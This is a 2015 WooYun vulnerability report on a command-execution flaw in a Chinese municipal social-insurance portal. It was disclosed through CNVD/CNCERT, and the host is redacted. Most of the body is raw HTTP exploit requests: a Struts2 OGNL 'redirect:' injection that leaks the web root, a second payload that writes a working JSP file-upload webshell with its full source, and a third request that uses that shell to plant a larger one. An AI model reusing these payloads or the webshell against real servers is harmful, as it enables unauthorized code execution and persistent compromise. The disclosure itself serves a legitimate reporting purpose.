当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161296

漏洞标题:四平市社会保险事业管理局门户网站命令执行漏洞(新姿势)

相关厂商:四平市社会保险事业管理局

漏洞作者:

提交时间:2015-12-15 14:34

修复时间:2016-01-28 17:10

公开时间:2016-01-28 17:10

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-15: 细节已通知厂商并且等待厂商处理中
2015-12-18: 厂商已经确认,细节仅向厂商公开
2015-12-28: 细节向核心白帽子及相关领域专家公开
2016-01-07: 细节向普通白帽子公开
2016-01-17: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

四平市社会保险事业管理局门户网站命令执行漏洞(新姿势)

详细说明:

访问url:http://**.**.**.**/main1.action,如图:

QQ20151214-0@2x.jpg


抓包修改数据包的method为POST方式,并获取web应用部署的绝对路径见如下:

POST /main1.action HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=9E8C1A55E69064893082E80E4A66D419; CNZZDATA3417230=cnzz_eid%3D7996912-1450007925-null%26ntime%3D1450014908
Content-Type: multipart/form-data; boundary=------------------------5423a63046c50524a84963968721
Content-Length: 258
--------------------------5423a63046c50524a84963968721
Content-Disposition: form-data; name="redirect:/${#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest").getRealPath("/")}"
-1
--------------------------5423a63046c50524a84963968721


执行效果如下图:

QQ20151214-1@2x.jpg


由于字节数限制,先写入一个小的webshell(homePage.jsp):

POST /main1.action HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=9E8C1A55E69064893082E80E4A66D419; CNZZDATA3417230=cnzz_eid%3D7996912-1450007925-null%26ntime%3D1450014908
Content-Type: multipart/form-data; boundary=------------------------5423a63046c50524a84963968721
Content-Length: 1127
--------------------------5423a63046c50524a84963968721
Content-Disposition: form-data; name="redirect:/${"x"+(new **.**.**.**.PrintWriter("D:\\webroot\\spshebao\\homePage.jsp")).append("<%@ page language=\"java\" import=\"java.util.*,**.**.**.**.*\" pageEncoding=\"UTF-8\"%><%response.setCharacterEncoding(\"UTF-8\")\u003bServletOutputStream output = response.getOutputStream()\u003bString filePath = request.getParameter(\"filePath\")\u003bString filename = request.getRealPath(filePath)\u003b**.**.**.**.File f = new **.**.**.**.File(filename)\u003bif (!f.exists()){ f.getParentFile().mkdirs()\u003b}try { OutputStream os = new FileOutputStream(filename)\u003b PrintWriter writer = new PrintWriter(new OutputStreamWriter(os, \"UTF-8\"))\u003b writer.print(request.getParameter(\"context\"))\u003b writer.flush()\u003b os.close()\u003b writer.close()\u003b out.clear()\u003b out = pageContext.pushBody()\u003b} catch (**.**.**.**.IOException e) { out.println(e.getMessage())\u003b}output.println(\"<result>OK</result>\")\u003boutput.flush()\u003boutput.close()\u003b %>").close()}"
-1
--------------------------5423a63046c50524a84963968721


执行效果如下图:

QQ20151214-2@2x.jpg


再通过刚刚上传的小马,写入一个功能强大的大马(firstHomePage_bak.jsp)

POST /homePage.jsp HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=9E8C1A55E69064893082E80E4A66D419; CNZZDATA3417230=cnzz_eid%3D7996912-1450007925-null%26ntime%3D1450014908
Content-Type: multipart/form-data; boundary=------------------------5423a63046c50524a84963968721
Content-Length: 75710
--------------------------5423a63046c50524a84963968721
Content-Disposition: form-data; name="filePath"
firstHomePage_bak.jsp
--------------------------5423a63046c50524a84963968721
Content-Disposition: form-data; name="context"
大马内容在此
--------------------------5423a63046c50524a84963968721


执行效果如下图:

QQ20151214-3@2x.jpg


漏洞证明:

访问:http://**.**.**.**/firstHomePage_bak.jsp效果如下图:

QQ20151214-4@2x.jpg

修复方案:

版权声明:转载请注明来源 @乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-18 17:18

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给吉林分中心,由吉林分中心后续协调网站管理单位处置。

最新状态:

暂无